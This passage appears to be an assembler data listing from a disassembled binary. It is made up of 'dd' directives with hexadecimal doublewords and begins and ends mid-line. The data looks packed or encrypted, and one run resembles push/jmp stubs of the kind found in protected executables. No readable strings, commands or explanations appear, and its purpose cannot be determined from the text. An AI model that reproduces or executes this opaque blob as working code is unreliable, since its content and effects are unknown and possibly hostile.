52F1B4D5h, 0E4F5B8DBh, 4EEC2F5Dh, 0DB74580Eh dd 7BD98C18h, 0AE7D30B4h, 0F60C6B9Ah, 0F9AC874Ah, 9709F1EBh dd 26C083E1h, 782D260h, 0AC5FFDA9h, 0FC5AA65Ch, 7DF8AB39h dd 0BC3F23BAh, 0C1A4EEDh, 0FCBF0FF6h, 0DAA340F1h, 0FF4F9F52h dd 4645A49h, 0D9632B89h, 7A30B47Bh, 0E7D430FFh, 0E939FC13h dd 545F229Dh, 7B57A33Dh, 4B6AC689h, 0ACAE4EADh, 0A3B707F6h dd 44A255F7h, 0EE3EF17Bh, 0F07E409Eh, 229DED3Dh, 0DE5D2CA7h dd 7FF00B8Dh, 21D45821h, 0FCCB81D1h, 0FA11E54Eh, 8AE863B3h dd 76F13DC3h, 19C276B3h, 0C523B7DDh, 70C07319h, 0F955CBAh dd 0CC81E0B0h, 2D8336B4h, 0C85h, 0CB17B562h, 0D11DAB6Dh dd 0D622AA73h, 0D622CC78h, 0D723B178h, 0C48BCCEDh, 0CE96F440h dd 0D89EFC48h, 0DDA0FE4Ah, 1590034Fh, 8EF746h, 0A58968F0h dd 159014DBh, 6768CB9Ah, 0A5F5F60Ch, 8245A3EFh, 711D7BF6h dd 0E5C915CBh, 0BC7E18DBh, 0B02B7B2Eh, 0C6752E1h, 6BBB0BF6h dd 9975AB8h, 0DB69308Eh, 0E35ED925h, 0C672114h, 38EE3EF6h dd 108B11DAh, 0B066ECB2h, 50DC9FFDh, 0A2BA4B04h, 56D14C1Ch dd 0D5972FF8h, 0F4449447h, 7D2D6F3Eh, 2272FC13h, 8D929E6Dh dd 10AEEB91h, 0DE0EDD58h, 1F0D9E5Ch, 912D1CCFh, 0BE8D5CD7h dd 0FF0B9CECh, 13D634AFh, 18DB3985h, 0BEB8AB19h, 5EAEE4E8h dd 59AF9BFFh, 0B208BBC3h, 0BBDh, 93DF7D2Ah, 99E57335h dd 9EEA723Bh, 9EEA9440h, 9FEB7940h, 8C5394B5h, 965EBC08h dd 0A066C410h, 0A568C612h, 0DD58CB17h, 8D2F0Eh, 6D5130F0h dd 0C9A60BEh, 0A735F856h, 7A08CE2Ch, 0EC177C7h, 4EC99F1Fh dd 137D917Fh, 6AB606FCh, 2BFA437Bh, 0F00B7208h, 0D08309D1h dd 0DB56A680h, 0B72290Ch, 96E636F0h, 60DC4C1Bh, 2A88FA14h dd 0D929DC62h, 46F94923h, 0C7FC877h, 0B38B2EF6h, 0C34722E4h dd 756293h, 0BE7E0000h, 9DE9CAFBh, 0C1770371h, 17CECD2h dd 50D8073Eh, 50069F44h, 33FC5AD5h, 0AB24F3A9h, 0FC13ADh dd 11D735B0h, 41BC3783h, 0B32C372h, 763E9CF0h, 9DED3DF0h dd 10EBFFDAh, 2DE30A27h, 0B2FDD5Eh, 0C587E5F0h, 7E348437h dd 0D5A45D20h, 0F00B2F66h, 0DC57A7F7h, 7C2FB57Eh, 0CC2A762Ch dd 42058006h, 0AC635010h, 0FF8D5008h, 0F6ACFC4Ch, 0AC3ED43h dd 4A090000h, 0AA79F474h, 0FC194E08h, 28B1EDB0h, 87AC88E4h dd 8E512497h, 4BA06FCh, 0E45FDA2Ah, 7E31BF86h, 0E6DC5F2Eh dd 37FDF000h, 0CCA6F6A9h, 0C919A76Eh, 0BF1D9813h, 9975EF8h dd 0B606B9h, 551DFA2h, 0A558E4A7h, 663508B6h, 0F000E6D7h dd 6DE83888h, 15CF699Eh, 782D2FAh, 0E5AE6A9h, 0E6723593h dd 0CF2DE333h, 0DECD800Ch, 0AF8E5DE0h, 0B0F60C00h, 0C6951060h dd 0FC13F0DAh, 89CFB4Bh, 1EAED343h, 0A3B156Bh, 0FFAC0000h dd 0F1B3115Dh, 0F0B91763h, 16C2206Ch, 7CE2C78h, 22432D79h dd 529E22E9h, 56A22CF4h, 58A432F8h, 5DA937FAh, 9DA06FEAh dd 0C2F0008Ch, 0C76AFFE3h, 7BF60C67h, 0DBAA2543h, 0FC194EB6h dd 0CB591C7Ah, 3812C818h, 2FF26DE8h, 98B527E2h, 4E106E91h dd 7BD0DC0h, 0E5AE6A9h, 0AC5FEDB0h, 870DD331h, 8CDCE2D1h dd 0D2DE4211h, 0F747FA1Fh, 0CED11698h, 277D30B4h, 9C1h dd 87D37926h, 8DD96729h, 92DE662Fh, 9AE68834h, 0A3EF753Ch dd 985F98B9h, 9A62C00Ch, 0A46AC814h, 0B174D21Eh, 0E964D723h dd 8B1B1Ah, 816544F0h, 19D60BEh, 0B265B53Bh, 8B4EAC62h dd 25A02CEFh, 0C67E756h, 0D82878F6h, 4D04C725h, 0C67BF7Eh dd 50A0F6h, 7BD3764Dh, 0C32B6A2Ch, 8B54B293h, 54E0A301h dd 189B51A1h, 3C9h, 0C9744A34h, 0C673BFAh, 84D424F6h, 4E213A09h dd 8BE9FC19h, 368639C3h, 8648A680h, 0A5F545F8h, 6D09CC2Ah dd 0C54B11A5h, 2272C275h, 27B578D6h, 819AA574h, 0AF2AF000h dd 815DE0h, 0FCB202F0h, 3CB7B10Dh, 1F9BE36Dh, 85E434FAh dd 0B4CE9833h, 0FECE24D7h, 0E9000008h, 0F654A03Ch, 0FC5AA634h dd 0FF5DA933h, 0FF5DA953h, 7660AC38h, 0C74D1455h, 0CF551D7Bh dd 0D15F2583h, 0D8642785h, 0CF9E198Ch, 0F0008A6Ch, 0DB2E12F1h dd 7BD98C18h, 0CC721EB8h, 0DBA3017Ch, 984E9E51h, 0D36B0EE5h dd 0C32B02C4h, 3234293h, 6A5E0000h, 0F60C67C7h, 0AA25437Bh dd 2BEE8A4Ch, 4A9AEA9Dh, 22E94797h, 0F26DE89Eh, 8F42CC94h dd 0D7BA893Fh, 40FC194Eh, 541775F0h, 5B1E7CC8h, 932B1ACDh dd 64DF5AD5h, 81A695h, 9867B7F0h, 0F00081A5h, 39B46ABAh dd 1F9BE66Ah, 80DF2FFAh, 0B4CE9842h, 56DB31E4h, 91000008h dd 9EFC48E4h, 0A4024EDCh, 0A70551DBh, 0A70551FBh, 1E0854E0h dd 6FF5BCFDh, 77FDC523h, 7907CD2Bh, 800CCF2Dh, 7746C134h dd 0F0008AC4h, 0BED6BA99h, 67C17443h, 581AF60Ch, 0D092F0CAh dd 0EF3F8F42h, 8C18DB39h, 54005ED9h, 2CA7F7AAh, 0C67DE5Dh dd 792F7FF6h, 19CC581Bh, 1D879F42h, 6760D3A2h, 0ADFDF60Ch dd 2A9557F7h, 5AD593C3h, 0F1000002h, 0C67C76Ah, 25437BF6h dd 4EFDDBAAh, 0DA2AFC19h, 0B23E015Fh, 0C58DEB66h, 863C8C3Fh dd 7C96528h, 55F80206h, 4696D7F0h, 40F34393h, 26ED6D51h dd 0ED501F9Ah, 72F000B1h, 0DC57D222h, 0B1A39261h, 6CBCF000h dd 5635E7B6h, 1A6AFA1Fh, 0CEBD11BBh, 9CF2A5B4h, 78Dh, 0C30FAD5Ah dd 0C915A365h, 0CE1AA26Bh, 0CE1AC470h, 0CF1BA970h, 0BC83C4E5h dd 0C68EEC38h, 0D096F440h, 0D598F642h, 0D88FB47h, 89FF3Eh dd 9D8160F0h, 0B67E18DBh, 731F7D30h, 0AE2979C9h, 9BFB6CEBh dd 43F936F7h, 0E16F3290h, 93F16C2Eh, 0EA4918D1h, 73F60C62h dd 7A1DD323h, 0C65215A0h, 3418DA7Ah, 0C5893C3h, 0DD000000h dd 762CB87Fh, 18FE392h, 6AFF0000h, 0F60C67CDh, 31003D81h dd 0F60C6702h, 40BB0B5Bh, 194E5271h, 0E05BABFCh, 0E531BF82h dd 8538C487h, 6A322896h, 0E7B631E4h, 0F0008154h, 1969B909h dd 1860239Eh, 0CA435FC0h, 9C400FC5h, 1FA1F74h, 9F8452B1h dd 974AB4CEh, 6CC41h, 0CE6E1B00h, 0D4622482h, 0DB612A88h dd 0E785318Fh, 0EA763D9Bh, 5A93B49Eh, 63C10D93h, 67C5119Bh dd 69C713A1h, 5BCE1AA6h, 882211E0h, 5C3BF000h, 8C18DB78h dd 2CB87BD9h, 0D7B3EEB1h, 47C9C3E4h, 791CDE91h, 0C35114A1h dd 0D79EFC77h, 9DED8F3Bh, 158547E7h, 18C593C4h, 0E1000000h dd 110AFBBEh, 2867D6A5h, 0A8F8F60Ch, 621CA4E5h, 0CF56ACh dd 6A720000h, 0F60C67CCh, 0AF2A3E80h, 194ED6E0h, 70EB3BFCh dd 0DC34912h, 0E3713492h, 0EA763997h, 0E4764837h, 0C9449422h dd 1F665AFAh, 2300C3FAh, 4A9A7417h, 9F41A0F0h, 33B4CF42h dd 61B2A80h, 1FCC0000h, 11D3317Dh, 10D93783h, 36E2408Ch dd 27EE4C98h, 42634D99h, 72BE4209h, 76C24C14h, 78C45218h dd 7DC9571Ah, 7DC08F0Ah, 0E2F00088h, 18DB1F03h, 0B87BD98Ch dd 67033201h, 0C5CF60Ch, 6773C291h, 9CECF60Ch, 34D7994Ch dd 0BAEFB21Ah, 0FD2ACDF9h, 0F9BC1AD0h, 29A41F6Bh, 0C54DB5Ah dd 7E3484F6h, 0C3621CDEh, 75C93h, 0E3780000h, 1Dh, 8C18DBFFh dd 2CB87BD9h, 0C45E0179h, 5EAA36F9h, 32BE85E3h, 23792F7Fh dd 22h, 8C18DB3Fh, 3A005ED9h, 0F3A9F9ACh, 0C671C24h, 76D073F6h dd 6DBB8B4Eh, 8F3C6B8Ah, 2CB87BD9h, 18DBFCE0h, 7D57EA19h dd 2D7DF537h, 0A338B7Ah, 0C6CF83Bh, 0B71565F6h, 60B063F1h dd 0F4C69510h, 6DFC1945h, 83C910AAh, 0D4242ADEh, 0AC38FB59h dd 0B13F0260h, 0B9AF0FFEh, 0CB3A6F3Eh, 2F7FFA15h, 59356B4h dd 0DA642C8Ah, 8D5CD727h, 0F60C04AEh, 5DA95FAFh, 0A59867E2h dd 36F60C04h, 0BE0EE86Eh, 59E7AA08h, 0FA981BDEh, 8964DFE7h dd 8D3120D3h, 0F9160DBh, 98FC13CCh, 1701E948h, 0E295AED3h dd 4E88Ch, 0AA52FF00h, 0B03E005Eh, 0B73D0664h, 0BB610D6Bh dd 0C64A116Fh, 2E6F907Ah, 2F8DD967h, 3391DD67h, 3D9BE76Dh dd 2FA2EE7Ah, 9656E5B4h, 2807F000h, 8C18DB44h, 56F0B311h dd 3530694h, 0CA6938B3h, 93F60C67h, 0E3418D43h, 83E19420h dd 0BF8134C0h, 9EE28144h, 55FCAFB5h, 9722FC9Fh, 5CFC48D4h dd 93C3B19Ah, 4FDAh, 55015F00h, 0FEB404B7h, 0F4744A1Ah dd 0B331AA79h, 7EF9FC13h, 0B2C8CAFh, 0CB81D1F0h, 0AB26A1F1h dd 9CFA864Dh, 3B994FD5h, 70437C75h, 0D8883214h, 0CC6D3C88h dd 11F00BD1h, 1876C24Eh, 793B9952h, 0D1191CEBh, 0F646F00Bh dd 329DF3A6h, 0B9000004h, 0C17443BEh, 9EF60C67h, 15A9984Eh dd 85EC72E0h, 8352A447h, 0F60CF5B0h, 0BD0D5DADh, 8717342h dd 7ECEFC13h, 1EAA6DCBh, 0BB610D6Bh, 59E7AA08h, 0AF872AA6h dd 3D15B830h, 0BB723593h, 0BC749ECh, 76C616F0h, 0CEBD73C3h dd 2EFD78F0h, 0FA143ABEh, 7463AFFFh, 0D4A31E4Ah, 0FC1308D0h dd 45C66A2Dh, 0D3511BB9h, 7FCF820Ah, 820ED12Fh, 0B42F7FCFh dd 68CB6A39h, 4494F00Bh, 0B67DDB8Eh, 40E3772Ah, 0F4744AE6h dd 0C2FFE79h, 51F00B68h, 1D04B01h, 0FA149583h, 0D331ACFCh dd 7ECE810Bh, 0A3017CC8h, 52A255F7h, 0DF7B3E9Ch, 89D98C18h dd 5AFC3F0Eh, 1161F60Ch, 0EDB00EC1h, 8D78E51h, 0F60C5A35h dd 0C78ADA2Ah, 0E167F030h, 0B57A77Fh, 4BC6A21Ch, 1354447Ch dd 0C69510FCh, 0F00B5B77h, 5BC57847h, 4A9AF00Bh, 0C22070h dd 0B96FBF72h, 61DC8FDFh, 8A2723E6h, 0B1FF3566h, 0B5A53E2h dd 7D490CF0h, 9A8BD0EAh, 5A29DF2Fh, 0F00BB1D7h, 0ECD46E11h dd 6830CC8Eh, 8BDB2BDEh, 32D288D8h, 99CB0170h, 476CF5B8h dd 3EB6CCA7h, 6241F4C3h, 0CE1EF00Bh, 459518h, 4AB10000h dd 7F4EC974h, 0F60C67BCh, 0B38251A1h, 0ACF60C67h, 67D36231h dd 3C8CF60Ch, 52219CECh, 0FC137542h, 9D88BDBh, 0F00B6A26h dd 76051DC0h, 99CA3BB4h, 0C9F4h, 531B7900h, 7E6CCF9Eh dd 0A1F1F00Bh, 0DBB79B51h, 7BD98C18h, 1F7D30B4h, 0BF1DD05Ch dd 0A92470FCh, 67DC5F2Eh, 3181F60Ch, 6B9CAC7Bh, 0A265F60Ch dd 63B34108h, 6AF6B917h, 47F6C8B7h, 0C64C578h, 0FA4A9AF6h dd 88E8B07Fh, 7A3DFC13h, 0DD7866A7h, 3302EFh, 5DF00B4Bh dd 7342BD0Dh, 0F00B4BC0h, 0B1FD4D9Dh, 0F16CFCC2h, 113FEC22h dd 7AF545FAh, 845C551Ch, 905D93C4h, 4F364830h, 3D8D86EBh dd 7C43A1EDh, 865B99F8h, 0FCAFB4CCh, 234A6h, 6606B300h dd 6CFABC1Ah, 73F9C220h, 7F1DC927h, 820ED533h, 0F22B4C36h dd 0FB59A52Bh, 0FF5DA933h, 15FAB39h, 0F366B23Eh, 948AA978h dd 0F4D3F000h, 9014DB10h, 9523E644h, 744A6549h, 83FE79F4h dd 0C6781B4h, 0D88EDEF6h, 13758B09h, 521573FCh, 0E63610C6h dd 6ADD6433h, 781BF00Bh, 3C0FD1DEh, 0E54F99CAh, 6B000000h dd 0D98C18DBh, 36F49B5Eh, 0A97AF183h, 560C5CE0h, 0F0A331F8h dd 0C5A0721h, 9B29ECF6h, 0F93E5D20h, 338E8D49h, 0A5D47270h dd 44FA6E0Ch, 49D79AF8h, 1AC470CEh, 0FCC2B164h, 5C0F955Eh dd 7241BC0Ch, 0FC1381A6h, 0F62B2CEFh, 3390E45Ch, 9D6D2C2Ah dd 0BB0B5BF7h, 2A3E806Fh, 0B901E0AFh, 2676FA11h, 0EC864DABh dd 97E79A24h, 0D69DFB47h, 7A13EB4Ah, 580BB4CCh, 15402h dd 46E69300h, 4CDA9CFAh, 53D9A200h, 5FFDA907h dd 62EEB513h, 0D20B2C16h, 0DB39850Bh, 0DF3D8913h, 0E13F8B19h dd 0D346921Eh, 93AA8958h, 0D4B3F000h, 9A60BEF0h, 4609590Ch dd 0C1205ED7h, 258339B5h, 48535F5Eh, 0BC7E46A2h, 0CA93F16Ch dd 6B318F42h, 6F3795E5h, 2CE232E5h, 31BF82E0h, 600C6AE5h dd 56480BBEh, 3AE1A115h, 3D21D727h, 0CE8043BEh, 29E0990Bh dd 33E45726h, 2EF5F60Ch, 0C278C8A2h, 9813A164h, 77375A1Dh dd 0BB980F48h, 0CF349ECh, 852C2DF6h, 8D05FB57h, 0FAAD63B3h dd 0D04BD99Ch, 8E1AC30Dh, 0A25871B2h, 11576756h, 25A01B96h dd 0CEFE756h, 592878F6h, 0F60CEFDAh, 0DD53383h, 0CE84D487h dd 19C647FFh, 0A95CACFCh, 0B0FC884Bh, 4E018F52h, 4334ED7Fh dd 3911B421h, 6130E9ACh, 0C142FBD2h, 70EB3B8Bh, 0FB1726F5h dd 0F848C142h, 0B87BF642h, 8929F46Eh, 5BB96FC9h, 0FB590C98h dd 80B3824Fh, 0DDC14290h, 47C23D8Dh, 4290C578h, 944A9AC1h dd 74D24DE1h, 0C35114ACh, 0BD70C010h, 3A14B76Dh, 0E560ECAFh dd 3D0CC587h, 0C14290FEh, 9BF0F5Fh, 109C5FBDh, 17075Dh dd 118C0000h, 4290F342h, 480E6CC1h, 0DBA76ABAh, 56DA9A04h dd 4D866A20h, 8E2EDB69h, 2EBA7DDBh, 0C9571D7Bh, 66F0B816h dd 28E55B3h, 0A62AF14Fh, 43E995F3h, 0E3693290h, 8210D230h dd 89527ECFh, 1BF57E2h, 0C1350C30h, 0D7F704E7h, 2B21E781h dd 0F7817682h, 7A4A2DE3h, 39EEEF81h, 0EF81042Ah, 581FCCD0h dd 835FFA01h, 148704EAh, 38685C24h, 89000010h, 9D682414h dd 8900003Ch, 6857241Ch, 6950904h, 81243C8Bh, 4C4h, 5E7C100h dd 8105E7C1h, 1728EAEFh, 5FFA894Eh, 241C8B54h, 4C481h dd 81520000h, 3666242Ch, 438F342Bh, 8438108h, 342B3666h dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0C870000h, 34FF5C24h dd 0C4815A24h, 4, 0FA85B4E9h, 15A7F9FFh, 66F5D617h, 7C72B62Eh dd 0B808B7CCh, 60CF631h, 0E0FFC503h, 406F529h, 34197D69h dd 1247AD79h, 4D292420h, 70AAE871h, 1D50816Dh, 24DF7313h dd 2B2B7AE8h, 68B36796h, 5AF4F3C8h, 23B166F7h, 350443FDh dd 200B9181h, 3594C3DFh, 29AFE197h, 78A6FF1h, 5E0AE884h dd 0B285316h, 72ED05BEh, 585D4CFFh, 65C4A87Eh, 15D7BC4Fh dd 61E814D2h, 7F843956h, 481E90EBh, 74BBD5CFh, 17DE9h dd 0FE5D6000h, 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh dd 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h dd 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh dd 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h dd 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh dd 43h dup(0) dd 0D1F80000h, 0DA43736h, 0F82BD3C2h, 61E94AEFh, 68000010h dd 60CFAE8h, 0FB4B17E9h, 0FBF568FFh, 0DE9060Ch, 68FFFB4Bh dd 60CFDC5h, 0FB4B03E9h, 0FEBB68FFh, 0F9E9060Ch, 68FFFB4Ah dd 60CFFB8h, 0FB4AEFE9h, 0C868FFh, 0E5E9060Dh, 68FFFB4Ah dd 60D018Eh, 0FB4ADBE9h, 1F368FFh, 0D1E9060Dh, 68FFFB4Ah dd 60D02E7h, 0FB4AC7E9h, 34668FFh, 0BDE9060Dh, 68FFFB4Ah dd 60D03FDh, 0FB4AB3E9h, 48F68FFh, 0A9E9060Dh, 68FFFB4Ah dd 60D0535h, 0FB4A9FE9h, 69768FFh, 95E9060Dh, 68FFFB4Ah dd 60D079Ch, 0FB4A8BE9h, 3F57BFFFh, 212B9A80h, 10F7C62h dd 0DDF35C42h, 0BACE381Eh, 842A6BFBh, 6147061Ah, 4026E5F5h dd 2107C6D2h, 5BE5A4B6h, 58F845B3h, 59E911Dh, 0D6E8533Ah dd 0B1D886Eh, 54BEA44Ch, 795FD840h, 0E380FE0Ch, 1CC46C40h dd 0D7BDC736h, 7BF45C6Ah, 624F8FFDh, 62DB9117h, 5E3B8CFAh dd 3BA68509h, 0C43D53BCh, 8A0D765Ch, 2D950E1Eh, 29340AA0h dd 0D835AEBCh, 0B99FEC42h, 37BF3D4Dh, 0E0224457h, 4077h dd 7EE9CF00h, 0D8B046Ch, 25899C42h, 192D977Dh, 60B60371h dd 0E35C8B10h, 634FBD65h, 4791176Dh, 0A7F866CEh, 12850952h dd 472D95A7h, 9260C8DEh, 278426FCh, 7E10BD91h, 50E0224Ch dd 0FBh, 7BE99185h, 8B10602Eh, 0F7DD5BD4h, 6A127A8Ch, 0A107E983h dd 62E04378h, 2391127Ch, 4EF69E17h, 10D193E0h, 7C88F68Bh dd 7AE260D9h, 0AF172994h, 8D4C5EC9h, 10D6A01Fh, 53BFA58Bh dd 74DFC543h, 0BA5420F4h, 33AC7214h, 2C36A58Bh, 9E09EFAEh dd 8FA2EF5Dh, 0CF488B10h, 0F66F7BE9h, 7E52F18Eh, 18862ED6h dd 8B108FCBh, 0C7AF871h, 9117BFE8h, 0A6E55137h, 95FEB38h dd 9F189185h, 46057E21h, 8E369AA9h, 130A7720h, 80EFD58Bh dd 278F9B09h, 0E34F35AEh, 79F26BD3h, 717DEBD1h, 0B50E5BC9h dd 3BB47EFFh, 0C52F15BDh, 0A20CF2B1h, 50F0DD8Eh, 0C9319579h dd 0DA3DFh, 0BBD33B00h, 9DA716FCh, 7D8BF8DEh, 596FD8BEh dd 364AB49Ah, 0AEE777h, 0DDC38296h, 0BCA26171h, 9D83424Eh dd 0D7612032h, 5A74C12Fh, 811A911Dh, 0D5E953B6h, 1876E16h dd 0E706C1D0h, 0DB462CAAh, 9C3F0AC9h, 3D4BB889h, 0C2AE1CC4h dd 0A691176Dh, 0BA9E852Dh, 5A1CA8D5h, 38A60E8Ch, 850937E7h dd 5F69E552h, 2AC1E3B6h, 0E0C62EA7h, 96F96177h, 23802200h dd 172B957Bh, 22B836AFh, 0B9CF9F0Ch, 0CFDFE022h, 14000000h dd 2ED6E853h, 67CFD948h, 899F08EEh, 0C22AA821h, 87F172DCh dd 19920B73h, 64C443B1h, 208B8B10h, 7F660Eh, 3846B36Ah dd 9AA60751h, 105CDF2Ch, 930C858Bh, 0B5333FADh, 93A510F6h dd 0A6BF8E2Bh, 49C22A3Ah, 96BA28D0h, 0E591178Ch, 68492FFh dd 8E2BEA63h, 856B13BFh, 0E189071Bh, 12D3B973h, 18C0398Bh dd 0CB4C832h, 2DABB926h, 9D1E886Eh, 480B52Fh, 65F3FBA2h dd 3C273ECh, 2895792Ah, 0C96D6C0h, 0E0480000h, 0B42309C8h dd 9805EBAAh, 7CE5CB8Ah, 57C1A766h, 0A1F48443h, 0D08FA30Dh dd 0AF6E7EEAh, 904F5BC9h, 6E2D3FAAh, 81CE3CE4h, 27911D5Bh dd 0E953C38Eh, 0C53016D5h, 60C91684h, 0F66F8B10h, 43E16F0Fh dd 1790B9E8h, 0E9918D58h, 10602E7Bh, 1822918Bh, 0AB16FC75h dd 3AB83199h, 6FD7E954h, 349F1E89h, 0C841BA22h, 87D96C09h dd 3201E541h, 35DD5629h, 180E27C7h, 92FA7391h, 9A8D324h dd 1D31C785h, 0F537A990h, 0C98B2F3Bh, 9723C34Bh, 0AC03E023h dd 38000000h, 7D25899Ch, 0A010C296h, 2EAC154Ch, 89F8DE86h dd 1F98A412h, 52C03EB7h, 9117860Ah, 1DC52DA6h, 894CCC37h dd 2AE6D9DAh, 0ED5B41BAh, 0A4F563E1h, 0F850A56h, 0ACB625A4h dd 7BE5CB33h, 0E957FF67h, 850A569Ch, 0D066C942h, 5DF35072h dd 4C32D4C1h, 5414E023h, 49000000h, 323CAB91h, 36D351CAh dd 5D5E4D17h, 0A18427ACh, 0F2D88028h, 29107884h, 0DD759E6Dh dd 0F472EBC0h, 184D2286h, 684EF691h, 327FEDFBh, 0D8850A39h dd 583EE65Fh, 0C735DDEBh, 850A397Ah, 0C129A720h, 0A390253h dd 0C260F685h, 236731D1h, 711E0h, 4F460000h, 82Ah, 0B8899C84h dd 0EDD43C4Ch, 56761BE4h, 3E9628Eh, 660E8797h, 596FD8BEh dd 8CFA78F1h, 911DEC00h, 1D03AB24h, 0FBE1A0B2h, 94E14F90h dd 0F78503FAh, 9B147C8Ah, 9E067FF8h, 0E68E2201h, 157665FFh dd 7018FCC8h, 395B502h, 64E25B85h, 8C514EBCh, 0DE578B10h dd 0A4E55036h, 0F69DE936h, 9D168F7Eh, 0E25036DEh, 77258D6h dd 0FEE58DF5h, 1F86E5D4h, 36D35122h, 0A513BB17h, 84FE0FB5h dd 9E7728A1h, 938F694Ch, 0AC6412Bh, 0B0180000h, 84F3D998h dd 68D5BB7Ah, 4CB59B5Ah, 27917736h, 0D1C45413h, 0A05F73DDh dd 7F3E4EBAh, 601F2B99h, 3EFD0F7Ah, 519E0CB4h, 0F7911D5Dh dd 7ACB935Eh, 2E8B1061h, 250BB31Fh, 8028A6BCh, 1D577612h dd 0A412BA91h, 85036857h, 9BAB17FDh, 4DEAA922h, 0E8FA65FEh dd 0C559C76Fh, 0F98B105Fh, 86F2D880h, 6A50F876h, 9D45EDFFh dd 0F670E22Fh, 910F887Eh, 6F81ECD2h, 0C8DB6A07h, 0F6700D5Ah dd 0C13AB37Eh, 0B6037119h, 5C7EF670h, 4FBD65E3h, 8503675Ah dd 0EC006A50h, 0EA920B84h, 0DF2C9A42h, 8578E978h, 3DA88E0Ch dd 78418EFCh, 36A478E9h, 0A649C22Ah, 640CB42Dh, 97FF157Eh dd 7863B01Eh, 960478E9h, 78E97849h, 5AD376EFh, 8DF50B74h dd 2FD79614h, 4CCAE049h, 81E9FB66h, 0E978C413h, 0FDD174F8h dd 9597E755h, 0CA43FEF0h, 5BF74E19h, 816BD309h, 9D0h, 0CF8EA60Eh dd 0B1707AE9h, 91505ECBh, 6D2C42ABh, 4A091D87h, 69D3DBBAh dd 44B09655h, 218F7534h, 5705615h, 2AA34F3h, 1D5E4794h dd 8954ED91h, 7D25899Ch, 583EFD5h, 33C0F602h, 0F45CD504h dd 0F38FFD7Bh, 37911D75h, 0C53016BEh, 0B8250BB3h, 876D2CAAh dd 5A20A1Ch, 74E28A26h, 8B107DE4h, 9EF9710h, 3CE48C9Eh dd 0F68E81CEh, 30AE277Eh, 0E208B71h, 963A09A6h, 899F08EEh dd 0BCD23B21h, 0AF1DC543h, 850385E2h, 2339A288h, 0B25A02AAh dd 0E995F744h, 0A6249D78h, 0A61455C0h, 78E99659h, 4E0D86FFh dd 83EBFD68h, 0E996C415h, 57C56D78h, 78E9960Ah, 1CB937B0h dd 8FFDA509h, 7EF68DB7h, 141E8D73h, 12BA33ACh, 0F0AFC12Ch dd 258D9F0Ah, 6109A588h, 0E9965FF3h, 3CA88E78h, 920BAE2Ch dd 12BE8D2Ah, 0AB88FC6Ah, 967C72D6h, 3CB51D27h, 3CED12C3h dd 7EE67D42h, 8D394h, 8BA30B00h, 6D77E6CCh, 4D5BC8AEh dd 293FA88Eh, 61A846Ah, 0D0DEB747h, 0AD935266h, 8C723141h dd 6D53121Eh, 0A731F002h, 5F4491FFh, 51EA911Dh, 3DAB9186h dd 62CDB331h, 9200A850h, 8B106045h, 8CF472EBh, 0C1293BA6h dd 0CB9AB84Eh, 78F4E60h, 19DABE67h, 747h, 0A94F7C00h, 84000004h dd 81A4BAD5h, 0EB17852Dh, 4F911775h, 41472ED6h, 0A48181F9h dd 4654C1A7h, 0D8D341C8h, 0E0581440h, 0D8FBF34Dh, 0DC898C97h dd 6AD5BB63h, 0F977F058h, 54C3A951h, 0EB69E24Ah, 395E97Dh dd 903118B8h, 0B92AAA5Fh, 21E5B79Eh, 2946FF05h, 0B72208ABh dd 27C42CA5h, 1A00A804h, 4F359DAFh, 0F16AD2E4h, 0A8639178h dd 0D22E3E37h, 5C04AC54h, 0F464A1EEh, 43F203ABh, 0C40044B0h dd 0BCD23B21h, 0E462DB54h, 0FF831976h, 8DF9DFB1h, 0C12F157Dh dd 5BD44DB5h, 0EB543AE2h, 76F46DD5h, 0D24026CEh, 0F76248C6h dd 0D54026E5h, 3CDB12C3h, 2890BC64h dd 7C33Eh, 9BB31B00h, 7D87F6DCh, 5D6BD8BEh, 394FB89Eh dd 162A947Ah, 0E0CEC757h, 0BDA36276h, 9C824151h, 7D63222Eh dd 0B7410012h, 6054A10Fh, 61FA911Dh, 0D6E85396h, 0A1E886Eh dd 339FAE4Bh, 58571D8Bh, 4EA911Dh, 690C8A96h, 166148F0h dd 105DCBD4h, 0B6850440h, 703A563Dh, 0FAE08806h, 16BE7D8Fh dd 1A88C130h, 850392CDh, 1981FA73h, 92B60371h, 0E35C8503h dd 9B06EC6Ah, 0A1842189h, 15BD650Dh, 2482162Eh, 0E8564EEAh dd 8503B39Bh, 0DC4AC841h, 8B10AB4Ch, 7157FF78h, 8D35F406h dd 82CF3DE5h, 287EF6BBh, 0BAF441AFh, 219A7EF6h, 0D252BDA3h dd 663E7EE4h, 218902DBh, 0CBDD13Bh, 957052DBh, 0FD2E1880h dd 0E1000006h, 0BCA26179h, 9E84434Dh, 7E642331h, 5A40FF15h dd 8D1DDCF0h, 283CA608h, 7178369h, 0E8F46248h, 0C6D84329h dd 67D57D07h, 911D611Ah, 9C5C27C0h, 394FB889h, 707EEBD1h dd 9D168F08h, 57F787F5h, 0AA23911Dh, 9FB11C02h, 7D8FFAE0h dd 0F9D57815h, 8C83E351h, 0D64F8B0Ah, 75E02225h, 5D47AF95h dd 698h, 7C6DE46h, 0E9A8B221h, 0C9889603h, 0A5647AE3h dd 824155BFh, 0A10BA3F2h, 7CE8CE8Dh, 59C7AD6Ch, 3DA88E4Dh dd 3AE26C2Bh, 1D617FCCh, 0C18C2591h, 6ED6E853h, 0F774E0C6h dd 9D057E88h, 55C0A624h, 6059A614h, 86FF8B10h, 9C32A50Dh dd 0A30FF586h, 0C42F1593h, 0B6240AB2h, 0E56D2CAAh, 19DABA05h dd 1325h, 0AB915A00h, 0EE49303Eh, 4C1A3476h, 553E28A6h dd 73000002h, 6ED6E853h, 0B65E72D1h, 1272270Eh, 94FC0E79h dd 4355341Bh, 67F765E3h, 93911DB8h, 0A755B1Ah, 34436E8Ah dd 16FC7574h, 0B61E97ADh, 7BE566D0h, 0B019FF67h, 0E9A8219Ah dd 2DD5F94Ch, 10850EBFh, 2391778Bh, 0B836AF17h, 0EF49C15h dd 2E991A3h, 9BED6935h, 5817950Dh, 8DF50772h, 0C1293DA7h dd 5AD0124h, 0FE269B97h, 48B49A84h, 9E17BA38h, 6961F0EDh dd 0FFE9518Fh, 5A4h, 0FBBAD23Ah, 0DD9CA615h, 